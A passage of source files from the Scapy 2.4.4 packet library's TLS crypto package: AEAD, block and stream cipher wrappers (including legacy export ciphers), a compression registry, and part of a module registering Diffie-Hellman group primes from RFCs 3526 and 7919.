cryptography library. They should not be used, and might eventually be removed, with cryptography v2.0. XXX """ type = "aead" def __init__(self, key=None, fixed_iv=None, nonce_explicit=None): """ 'key' and 'fixed_iv' are to be provided as strings. This IV never changes: it is either the client_write_IV or server_write_IV. Note that 'nonce_explicit' is never used. It is only a safeguard for a call in session.py to the TLS 1.2/ChaCha20Poly1305 case (see RFC 7905). """ self.ready = {"key": True, "fixed_iv": True} if key is None: self.ready["key"] = False key = b"\0" * self.key_len if fixed_iv is None: self.ready["fixed_iv"] = False fixed_iv = b"\0" * self.fixed_iv_len # we use super() in order to avoid any deadlock with __setattr__ super(_AEADCipher_TLS13, self).__setattr__("key", key) super(_AEADCipher_TLS13, self).__setattr__("fixed_iv", fixed_iv) if hasattr(self, "pc_cls"): if isinstance(self.pc_cls, AESCCM): self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(fixed_iv), backend=default_backend(), tag_length=self.tag_len) else: self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(fixed_iv), backend=default_backend()) else: if self.cipher_cls == ChaCha20Poly1305: # ChaCha20Poly1305 doesn't have a tag_length argument... self._cipher = self.cipher_cls(key) else: self._cipher = self.cipher_cls(key, tag_length=self.tag_len) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: if hasattr(self, "pc_cls"): self._cipher.algorithm.key = val else: self._cipher._key = val self.ready["key"] = True elif name == "fixed_iv": self.ready["fixed_iv"] = True super(_AEADCipher_TLS13, self).__setattr__(name, val) def _get_nonce(self, seq_num): padlen = self.fixed_iv_len - len(seq_num) padded_seq_num = b"\x00" * padlen + seq_num return strxor(padded_seq_num, self.fixed_iv) def auth_encrypt(self, P, A, seq_num): """ Encrypt the data, and append the computed authentication code. The additional data for TLS 1.3 is the record header. Note that the cipher's authentication tag must be None when encrypting. """ if False in six.itervalues(self.ready): raise CipherError(P, A) if hasattr(self, "pc_cls"): self._cipher.mode._tag = None self._cipher.mode._initialization_vector = self._get_nonce(seq_num) encryptor = self._cipher.encryptor() encryptor.authenticate_additional_data(A) res = encryptor.update(P) + encryptor.finalize() res += encryptor.tag else: if (conf.crypto_valid_advanced and isinstance(self._cipher, AESCCM)): res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) else: res = self._cipher.encrypt(self._get_nonce(seq_num), P, A) return res def auth_decrypt(self, A, C, seq_num): """ Decrypt the data and verify the authentication code (in this order). If the verification fails, an AEADTagError is raised. It is the user's responsibility to catch it if deemed useful. If we lack the key, we raise a CipherError which contains the encrypted input. """ C, mac = C[:-self.tag_len], C[-self.tag_len:] if False in six.itervalues(self.ready): raise CipherError(C, mac) if hasattr(self, "pc_cls"): self._cipher.mode._initialization_vector = self._get_nonce(seq_num) self._cipher.mode._tag = mac decryptor = self._cipher.decryptor() decryptor.authenticate_additional_data(A) P = decryptor.update(C) try: decryptor.finalize() except InvalidTag: raise AEADTagError(P, mac) else: try: if (conf.crypto_valid_advanced and isinstance(self._cipher, AESCCM)): P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 else: if (conf.crypto_valid_advanced and isinstance(self, Cipher_CHACHA20_POLY1305)): A += struct.pack("!H", len(C)) P = self._cipher.decrypt(self._get_nonce(seq_num), C + mac, A) # noqa: E501 except InvalidTag: raise AEADTagError("", mac) return P, mac def snapshot(self): c = self.__class__(self.key, self.fixed_iv) c.ready = self.ready.copy() return c if conf.crypto_valid_advanced: class Cipher_CHACHA20_POLY1305_TLS13(_AEADCipher_TLS13): cipher_cls = ChaCha20Poly1305 key_len = 32 tag_len = 16 fixed_iv_len = 12 nonce_explicit_len = 0 class Cipher_CHACHA20_POLY1305(Cipher_CHACHA20_POLY1305_TLS13): """ This TLS 1.2 cipher actually uses TLS 1.3 logic, as per RFC 7905. Changes occur at the record layer (in record.py). """ pass if conf.crypto_valid: class Cipher_AES_128_GCM_TLS13(_AEADCipher_TLS13): # XXX use the new AESGCM if available # if conf.crypto_valid_advanced: # cipher_cls = AESGCM # else: pc_cls = algorithms.AES pc_cls_mode = modes.GCM key_len = 16 fixed_iv_len = 12 tag_len = 16 class Cipher_AES_256_GCM_TLS13(Cipher_AES_128_GCM_TLS13): key_len = 32 if conf.crypto_valid_advanced: class Cipher_AES_128_CCM_TLS13(_AEADCipher_TLS13): cipher_cls = AESCCM key_len = 16 tag_len = 16 fixed_iv_len = 12 class Cipher_AES_128_CCM_8_TLS13(Cipher_AES_128_CCM_TLS13): tag_len = 8 scapy-2.4.4/scapy/layers/tls/crypto/cipher_block.py000066400000000000000000000161521372370053500224100ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Block ciphers. """ from __future__ import absolute_import from scapy.config import conf from scapy.layers.tls.crypto.common import CipherError import scapy.modules.six as six if conf.crypto_valid: from cryptography.utils import register_interface from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes, # noqa: E501 BlockCipherAlgorithm, CipherAlgorithm) from cryptography.hazmat.backends.openssl.backend import (backend, GetCipherByName) _tls_block_cipher_algs = {} class _BlockCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if ciph_name != "_BlockCipher": dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_BlockCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if ciph_name != "_BlockCipher": _tls_block_cipher_algs[ciph_name[7:]] = the_class return the_class class _BlockCipher(six.with_metaclass(_BlockCipherMetaclass, object)): type = "block" def __init__(self, key=None, iv=None): self.ready = {"key": True, "iv": True} if key is None: self.ready["key"] = False if hasattr(self, "expanded_key_len"): key_len = self.expanded_key_len else: key_len = self.key_len key = b"\0" * key_len if not iv: self.ready["iv"] = False iv = b"\0" * self.block_size # we use super() in order to avoid any deadlock with __setattr__ super(_BlockCipher, self).__setattr__("key", key) super(_BlockCipher, self).__setattr__("iv", iv) self._cipher = Cipher(self.pc_cls(key), self.pc_cls_mode(iv), backend=backend) def __setattr__(self, name, val): if name == "key": if self._cipher is not None: self._cipher.algorithm.key = val self.ready["key"] = True elif name == "iv": if self._cipher is not None: self._cipher.mode._initialization_vector = val self.ready["iv"] = True super(_BlockCipher, self).__setattr__(name, val) def encrypt(self, data): """ Encrypt the data. Also, update the cipher iv. This is needed for SSLv3 and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.post_build(). """ if False in six.itervalues(self.ready): raise CipherError(data) encryptor = self._cipher.encryptor() tmp = encryptor.update(data) + encryptor.finalize() self.iv = tmp[-self.block_size:] return tmp def decrypt(self, data): """ Decrypt the data. Also, update the cipher iv. This is needed for SSLv3 and TLS 1.0. For TLS 1.1/1.2, it is overwritten in TLS.pre_dissect(). If we lack the key, we raise a CipherError which contains the input. """ if False in six.itervalues(self.ready): raise CipherError(data) decryptor = self._cipher.decryptor() tmp = decryptor.update(data) + decryptor.finalize() self.iv = data[-self.block_size:] return tmp def snapshot(self): c = self.__class__(self.key, self.iv) c.ready = self.ready.copy() return c if conf.crypto_valid: class Cipher_AES_128_CBC(_BlockCipher): pc_cls = algorithms.AES pc_cls_mode = modes.CBC block_size = 16 key_len = 16 class Cipher_AES_256_CBC(Cipher_AES_128_CBC): key_len = 32 class Cipher_CAMELLIA_128_CBC(_BlockCipher): pc_cls = algorithms.Camellia pc_cls_mode = modes.CBC block_size = 16 key_len = 16 class Cipher_CAMELLIA_256_CBC(Cipher_CAMELLIA_128_CBC): key_len = 32 # Mostly deprecated ciphers if conf.crypto_valid: class Cipher_DES_CBC(_BlockCipher): pc_cls = algorithms.TripleDES pc_cls_mode = modes.CBC block_size = 8 key_len = 8 class Cipher_DES40_CBC(Cipher_DES_CBC): """ This is an export cipher example. The key length has been weakened to 5 random bytes (i.e. 5 bytes will be extracted from the master_secret). Yet, we still need to know the original length which will actually be fed into the encryption algorithm. This is what expanded_key_len is for, and it gets used in PRF.postprocess_key_for_export(). We never define this attribute with non-export ciphers. """ expanded_key_len = 8 key_len = 5 class Cipher_3DES_EDE_CBC(_BlockCipher): pc_cls = algorithms.TripleDES pc_cls_mode = modes.CBC block_size = 8 key_len = 24 class Cipher_IDEA_CBC(_BlockCipher): pc_cls = algorithms.IDEA pc_cls_mode = modes.CBC block_size = 8 key_len = 16 class Cipher_SEED_CBC(_BlockCipher): pc_cls = algorithms.SEED pc_cls_mode = modes.CBC block_size = 16 key_len = 16 _sslv2_block_cipher_algs = {} if conf.crypto_valid: _sslv2_block_cipher_algs.update({ "IDEA_128_CBC": Cipher_IDEA_CBC, "DES_64_CBC": Cipher_DES_CBC, "DES_192_EDE3_CBC": Cipher_3DES_EDE_CBC }) # We need some black magic for RC2, which is not registered by default # to the openssl backend of the cryptography library. # If the current version of openssl does not support rc2, the RC2 ciphers are # silently not declared, and the corresponding suites will have 'usable' False. if conf.crypto_valid: @register_interface(BlockCipherAlgorithm) @register_interface(CipherAlgorithm) class _ARC2(object): name = "RC2" block_size = 64 key_sizes = frozenset([128]) def __init__(self, key): self.key = algorithms._verify_key_size(self, key) @property def key_size(self): return len(self.key) * 8 _gcbn_format = "{cipher.name}-{mode.name}" if GetCipherByName(_gcbn_format)(backend, _ARC2, modes.CBC) != \ backend._ffi.NULL: class Cipher_RC2_CBC(_BlockCipher): pc_cls = _ARC2 pc_cls_mode = modes.CBC block_size = 8 key_len = 16 class Cipher_RC2_CBC_40(Cipher_RC2_CBC): expanded_key_len = 16 key_len = 5 backend.register_cipher_adapter(Cipher_RC2_CBC.pc_cls, Cipher_RC2_CBC.pc_cls_mode, GetCipherByName(_gcbn_format)) _sslv2_block_cipher_algs["RC2_128_CBC"] = Cipher_RC2_CBC _tls_block_cipher_algs.update(_sslv2_block_cipher_algs) scapy-2.4.4/scapy/layers/tls/crypto/cipher_stream.py000066400000000000000000000104601372370053500226050ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ Stream ciphers. """ from __future__ import absolute_import from scapy.config import conf from scapy.layers.tls.crypto.common import CipherError import scapy.modules.six as six if conf.crypto_valid: from cryptography.hazmat.primitives.ciphers import Cipher, algorithms from cryptography.hazmat.backends import default_backend _tls_stream_cipher_algs = {} class _StreamCipherMetaclass(type): """ Cipher classes are automatically registered through this metaclass. Furthermore, their name attribute is extracted from their class name. """ def __new__(cls, ciph_name, bases, dct): if ciph_name != "_StreamCipher": dct["name"] = ciph_name[7:] # remove leading "Cipher_" the_class = super(_StreamCipherMetaclass, cls).__new__(cls, ciph_name, bases, dct) if ciph_name != "_StreamCipher": _tls_stream_cipher_algs[ciph_name[7:]] = the_class return the_class class _StreamCipher(six.with_metaclass(_StreamCipherMetaclass, object)): type = "stream" def __init__(self, key=None): """ Note that we have to keep the encryption/decryption state in unique encryptor and decryptor objects. This differs from _BlockCipher. In order to do connection state snapshots, we need to be able to recreate past cipher contexts. This is why we feed _enc_updated_with and _dec_updated_with every time encrypt() or decrypt() is called. """ self.ready = {"key": True} if key is None: self.ready["key"] = False if hasattr(self, "expanded_key_len"): tmp_len = self.expanded_key_len else: tmp_len = self.key_len key = b"\0" * tmp_len # we use super() in order to avoid any deadlock with __setattr__ super(_StreamCipher, self).__setattr__("key", key) self._cipher = Cipher(self.pc_cls(key), mode=None, backend=default_backend()) self.encryptor = self._cipher.encryptor() self.decryptor = self._cipher.decryptor() self._enc_updated_with = b"" self._dec_updated_with = b"" def __setattr__(self, name, val): """ We have to keep the encryptor/decryptor for a long time, however they have to be updated every time the key is changed. """ if name == "key": if self._cipher is not None: self._cipher.algorithm.key = val self.encryptor = self._cipher.encryptor() self.decryptor = self._cipher.decryptor() self.ready["key"] = True super(_StreamCipher, self).__setattr__(name, val) def encrypt(self, data): if False in six.itervalues(self.ready): raise CipherError(data) self._enc_updated_with += data return self.encryptor.update(data) def decrypt(self, data): if False in six.itervalues(self.ready): raise CipherError(data) self._dec_updated_with += data return self.decryptor.update(data) def snapshot(self): c = self.__class__(self.key) c.ready = self.ready.copy() c.encryptor.update(self._enc_updated_with) c.decryptor.update(self._dec_updated_with) c._enc_updated_with = self._enc_updated_with c._dec_updated_with = self._dec_updated_with return c if conf.crypto_valid: class Cipher_RC4_128(_StreamCipher): pc_cls = algorithms.ARC4 key_len = 16 class Cipher_RC4_40(Cipher_RC4_128): expanded_key_len = 16 key_len = 5 class Cipher_NULL(_StreamCipher): key_len = 0 def __init__(self, key=None): self.ready = {"key": True} self._cipher = None # we use super() in order to avoid any deadlock with __setattr__ super(Cipher_NULL, self).__setattr__("key", key) def snapshot(self): c = self.__class__(self.key) c.ready = self.ready.copy() return c def encrypt(self, data): return data def decrypt(self, data): return data scapy-2.4.4/scapy/layers/tls/crypto/ciphers.py000066400000000000000000000011501372370053500214110ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury # This program is published under a GPLv2 license """ TLS ciphers. """ # in order to avoid circular dependencies. from scapy.layers.tls.crypto.cipher_aead import _tls_aead_cipher_algs from scapy.layers.tls.crypto.cipher_block import _tls_block_cipher_algs from scapy.layers.tls.crypto.cipher_stream import _tls_stream_cipher_algs _tls_cipher_algs = {} _tls_cipher_algs.update(_tls_block_cipher_algs) _tls_cipher_algs.update(_tls_stream_cipher_algs) _tls_cipher_algs.update(_tls_aead_cipher_algs) scapy-2.4.4/scapy/layers/tls/crypto/common.py000066400000000000000000000004051372370053500212460ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ TLS ciphers. """ class CipherError(Exception): """ Raised when .decrypt() or .auth_decrypt() fails. """ pass scapy-2.4.4/scapy/layers/tls/crypto/compression.py000066400000000000000000000041231372370053500223200ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016 Maxence Tury # This program is published under a GPLv2 license """ TLS compression. """ from __future__ import absolute_import import zlib from scapy.error import warning import scapy.modules.six as six _tls_compression_algs = {} _tls_compression_algs_cls = {} class _GenericCompMetaclass(type): """ Compression classes are automatically registered through this metaclass. """ def __new__(cls, name, bases, dct): the_class = super(_GenericCompMetaclass, cls).__new__(cls, name, bases, dct) comp_name = dct.get("name") val = dct.get("val") if comp_name: _tls_compression_algs[val] = comp_name _tls_compression_algs_cls[val] = the_class return the_class class _GenericComp(six.with_metaclass(_GenericCompMetaclass, object)): pass class Comp_NULL(_GenericComp): """ The default and advised compression method for TLS: doing nothing. """ name = "null" val = 0 def compress(self, s): return s def decompress(self, s): return s class Comp_Deflate(_GenericComp): """ DEFLATE algorithm, specified for TLS by RFC 3749. """ name = "deflate" val = 1 def compress(self, s): tmp = self.compress_state.compress(s) tmp += self.compress_state.flush(zlib.Z_FULL_FLUSH) return tmp def decompress(self, s): return self.decompress_state.decompress(s) def __init__(self): self.compress_state = zlib.compressobj() self.decompress_state = zlib.decompressobj() class Comp_LZS(_GenericComp): """ Lempel-Zic-Stac (LZS) algorithm, specified for TLS by RFC 3943. XXX No support for now. """ name = "LZS" val = 64 def compress(self, s): warning("LZS Compression algorithm is not implemented yet") return s def decompress(self, s): warning("LZS Compression algorithm is not implemented yet") return s scapy-2.4.4/scapy/layers/tls/crypto/groups.py000066400000000000000000001041261372370053500213020ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ This is a register for DH groups from RFC 3526 and RFC 4306. At this time the groups from RFC 7919 have not been registered by openssl, thus they cannot be imported from the cryptography library. We also provide TLS identifiers for these DH groups and also the ECDH groups. (Note that the equivalent of _ffdh_groups for ECDH is ec._CURVE_TYPES.) """ from __future__ import absolute_import from scapy.config import conf from scapy.error import warning from scapy.utils import long_converter import scapy.modules.six as six if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import dh, ec from cryptography.hazmat.primitives import serialization if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.asymmetric import x25519 from cryptography.hazmat.primitives.asymmetric import x448 # We have to start by a dirty hack in order to allow long generators, # which some versions of openssl love to use... if conf.crypto_valid: from cryptography.hazmat.primitives.asymmetric.dh import DHParameterNumbers try: # We test with dummy values whether the size limitation has been removed. # noqa: E501 pn_test = DHParameterNumbers(2, 7) except ValueError: # We get rid of the limitation through the cryptography v1.9 __init__. def DHParameterNumbers__init__hack(self, p, g, q=None): if ( not isinstance(p, six.integer_types) or not isinstance(g, six.integer_types) ): raise TypeError("p and g must be integers") if q is not None and not isinstance(q, six.integer_types): raise TypeError("q must be integer or None") self._p = p self._g = g self._q = q DHParameterNumbers.__init__ = DHParameterNumbers__init__hack # End of hack. _ffdh_groups = {} class _FFDHParamsMetaclass(type): def __new__(cls, ffdh_name, bases, dct): the_class = super(_FFDHParamsMetaclass, cls).__new__(cls, ffdh_name, bases, dct) if conf.crypto_valid and ffdh_name != "_FFDHParams": pn = DHParameterNumbers(the_class.m, the_class.g) params = pn.parameters(default_backend()) _ffdh_groups[ffdh_name] = [params, the_class.mLen] return the_class class _FFDHParams(six.with_metaclass(_FFDHParamsMetaclass)): pass class modp768(_FFDHParams): g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A63A3620 FFFFFFFF FFFFFFFF""") mLen = 768 class modp1024(_FFDHParams): # From RFC 4306 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE65381 FFFFFFFF FFFFFFFF""") mLen = 1024 class modp1536(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA237327 FFFFFFFF FFFFFFFF""") mLen = 1536 class modp2048(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AACAA68 FFFFFFFF FFFFFFFF""") mLen = 2048 class modp3072(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A93AD2CA FFFFFFFF FFFFFFFF""") mLen = 3072 class modp4096(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34063199 FFFFFFFF FFFFFFFF""") mLen = 4096 class modp6144(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E 6DCC4024 FFFFFFFF FFFFFFFF""") mLen = 6144 class modp8192(_FFDHParams): # From RFC 3526 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08 8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B 302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9 A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6 49286651 ECE45B3D C2007CB8 A163BF05 98DA4836 1C55D39A 69163FA8 FD24CF5F 83655D23 DCA3AD96 1C62F356 208552BB 9ED52907 7096966D 670C354E 4ABC9804 F1746C08 CA18217C 32905E46 2E36CE3B E39E772C 180E8603 9B2783A2 EC07A28F B5C55DF0 6F4C52C9 DE2BCBF6 95581718 3995497C EA956AE5 15D22618 98FA0510 15728E5A 8AAAC42D AD33170D 04507A33 A85521AB DF1CBA64 ECFB8504 58DBEF0A 8AEA7157 5D060C7D B3970F85 A6E1E4C7 ABF5AE8C DB0933D7 1E8C94E0 4A25619D CEE3D226 1AD2EE6B F12FFA06 D98A0864 D8760273 3EC86A64 521F2B18 177B200C BBE11757 7A615D6C 770988C0 BAD946E2 08E24FA0 74E5AB31 43DB5BFC E0FD108E 4B82D120 A9210801 1A723C12 A787E6D7 88719A10 BDBA5B26 99C32718 6AF4E23C 1A946834 B6150BDA 2583E9CA 2AD44CE8 DBBBC2DB 04DE8EF9 2E8EFC14 1FBECAA6 287C5947 4E6BC05D 99B2964F A090C3A2 233BA186 515BE7ED 1F612970 CEE2D7AF B81BDD76 2170481C D0069127 D5B05AA9 93B4EA98 8D8FDDC1 86FFB7DC 90A6C08F 4DF435C9 34028492 36C3FAB4 D27C7026 C1D4DCB2 602646DE C9751E76 3DBA37BD F8FF9406 AD9E530E E5DB382F 413001AE B06A53ED 9027D831 179727B0 865A8918 DA3EDBEB CF9B14ED 44CE6CBA CED4BB1B DB7F1447 E6CC254B 33205151 2BD7AF42 6FB8F401 378CD2BF 5983CA01 C64B92EC F032EA15 D1721D03 F482D7CE 6E74FEF6 D55E702F 46980C82 B5A84031 900B1C9E 59E7C97F BEC7E8F3 23A97A7E 36CC88BE 0F1D45B7 FF585AC5 4BD407B2 2B4154AA CC8F6D7E BF48E1D8 14CC5ED2 0F8037E0 A79715EE F29BE328 06A1D58B B7C5DA76 F550AA3D 8A1FBFF0 EB19CCB1 A313D55C DA56C9EC 2EF29632 387FE8D7 6E3C0468 043E8F66 3F4860EE 12BF2D5B 0B7474D6 E694F91E 6DBE1159 74A3926F 12FEE5E4 38777CB6 A932DF8C D8BEC4D0 73B931BA 3BC832B6 8D9DD300 741FA7BF 8AFC47ED 2576F693 6BA42466 3AAB639C 5AE4F568 3423B474 2BF1C978 238F16CB E39D652D E3FDB8BE FC848AD9 22222E04 A4037C07 13EB57A8 1A23F0C7 3473FC64 6CEA306B 4BCBC886 2F8385DD FA9D4B7F A2C087E8 79683303 ED5BDD3A 062B3CF5 B3A278A6 6D2A13F8 3F44F82D DF310EE0 74AB6A36 4597E899 A0255DC1 64F31CC5 0846851D F9AB4819 5DED7EA1 B1D510BD 7EE74D73 FAF36BC3 1ECFA268 359046F4 EB879F92 4009438B 481C6CD7 889A002E D5EE382B C9190DA6 FC026E47 9558E447 5677E9AA 9E3050E2 765694DF C81F56E8 80B96E71 60C980DD 98EDD3DF FFFFFFFF FFFFFFFF""") mLen = 8192 class ffdhe2048(_FFDHParams): # From RFC 7919 g = 0x02 m = long_converter(""" FFFFFFFF FFFFFFFF ADF85458 A2BB4A9A AFDC5620 273D3CF1 D8B9C583 CE2D3695 A9E13641 146433FB CC939DCE 249B3EF9 7D2FE363 630C75D8 F681B202 AEC4617A D3DF1ED5 D5FD6561 2433F51F 5F066ED0 85636555 3DED1AF3 B557135E 7F57C935 984F0C70 E0E68B77 E2A689DA F3EFE872 1DF158A1 36ADE735 30ACCA4F 483A797A BC0AB182 B324FB61 D108A94B B2C8E3FB B96ADAB7 60D7F468 1D4F42A3 DE394DF4 AE56EDE7 6372BB19 0B07A7C8 EE0A6D70 